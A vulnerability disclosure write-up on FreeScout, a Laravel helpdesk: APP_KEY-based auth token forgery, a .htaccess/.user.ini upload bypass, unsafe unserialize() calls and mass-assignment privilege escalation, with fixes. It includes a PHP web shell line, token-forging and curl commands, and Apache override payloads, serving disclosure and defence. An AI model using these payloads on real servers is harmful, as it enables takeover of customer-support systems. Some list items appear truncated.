FreeScout is an open-source helpdesk built on Laravel. It's essentially a self-hosted alternative to Help Scout, and a lot of small businesses run it to handle customer support tickets. I audited the source code and found a chain of vulnerabilities that, combined, give you full server compromise starting from a leaked APP_KEY — something that happens more often than you'd think in Laravel deployments.
FreeScout has a middleware called TokenAuth that authenticates users via a token passed as a URL parameter. Here's how it works:
// app/Http/Middleware/TokenAuth.php
$user = User::where(
\DB::raw('md5(CONCAT(id, created_at, "'.config('app.key').'"))'),
$request->auth_token
)->first();
The authentication token for every user is MD5(user_id + created_at + APP_KEY). Three things are wrong with this:
user_id is sequential (admin is usually 1). created_at timestamps are often disclosed in API responses, user profiles, or can be narrowed down to a small window. The only secret is APP_KEY..env backup files (.env.bak, .env.old), git repository exposure, phpinfo() pages, or error logs. It's one of the most common findings in Laravel pentests.If you have the APP_KEY, you can compute a valid auth token for any user:
# Compute admin token (user_id=1, typical created_at format)
echo -n "12026-01-15 10:30:00base64:xxxxxxxxxxxxxxxxxxxxxxxxxx" | md5sum
# Use it
curl -b "in_app=1" "https://target.com/some-endpoint?auth_token=COMPUTED_HASH"
The in_app cookie just needs to exist with any value. That's the only other requirement besides the token.
FreeScout maintains a blocklist of file extensions that can't be uploaded as attachments:
// app/Misc/Helper.php
public static $restricted_extensions = [
'php.*',
'sh',
'pl',
'phtml',
'phar',
];
Notice what's missing: .htaccess and .user.ini. Both of these can reconfigure Apache/PHP at the directory level.
The attack is straightforward:
.htaccess file as an email attachment with this content:
AddType application/x-httpd-php .txt.txt file containing your PHP payload:
<?php system($_GET['cmd']); ?>Any authenticated user can do this — you don't need admin. And if the target runs Apache with AllowOverride enabled (the default in most setups), it works.
The .user.ini variant is even sneakier:
auto_prepend_file = /path/to/uploaded/webshell.txt
This makes PHP automatically include your file before every request in that directory. Persistent, invisible, survives server restarts.
FreeScout uses unserialize() without the allowed_classes restriction in four places. This means if an attacker can control the serialized data, they can instantiate arbitrary PHP objects and trigger RCE through POP (Property-Oriented Programming) chains. Laravel ships with plenty of gadget chains via Monolog, Guzzle, and SwiftMailer.
// app/Http/Controllers/SystemController.php:407
$payload = json_decode($job->payload, true);
if (!empty($payload['data']['command'])) {
$html .= '<pre>'.print_r(
unserialize($payload['data']['command']), 1 // no allowed_classes
).'</pre>';
}
When an admin views failed job details in the system panel, the serialized command payload is unserialized. If you can poison the failed_jobs table (via SQL injection elsewhere, or direct DB access), viewing the job triggers object instantiation → RCE.
// app/Misc/Helper.php:892
public static function decrypt($value, $password = null, $force_unserialize = false)
{
// ...decrypt...
if (preg_match("#^[idsa]:#", $value) || $force_unserialize) {
$value = unserialize($value); // "safe" because it only matches scalars
}
}
The comment says it only unserializes scalar types. But a: matches arrays, and arrays can contain nested objects: a:1:{i:0;O:...} matches ^a: and triggers full object deserialization. The regex-based "safety check" is broken.
// app/Option.php:232
public static function maybeUnserialize($original)
{
if (self::isSerialized($original)) {
$original = unserialize($original); // no restriction
}
}
// app/Job.php:53
return unserialize($payload['data']['command']);
Same pattern as the failed jobs — but this one processes active jobs, not just failed ones.
The User model has a subtle Laravel gotcha:
// app/User.php
protected $guarded = ['role']; // line 104
protected $fillable = ['role', ...]; // line 120
In Laravel, when both $guarded and $fillable are defined, $fillable wins. The developer thought putting role in $guarded would protect it, but $fillable overrides that. The role field is mass-assignable.
The main profileSave() controller manually strips role for non-admins, but the Eventy hook user.save_profile passes the full request to third-party modules. Any module using $user->fill($request->all()) enables privilege escalation.
These aren't just individual bugs — they chain together:
MD5(1 + created_at + APP_KEY), token is valid foreverin_app cookie + auth_token parameterAlternatively, without APP_KEY:
.htaccess + PHP payload as email attachmentsReported to support@freescout.net with full details and CVE requested from MITRE in February 2026.
.htaccess, .user.ini, .cgi, .config, .shtml to the restricted extensions list['allowed_classes' => false] to all four unserialize() calls, or migrate to json_encode/json_decoderole, password, type, status from User::$fillable — use explicit assignment only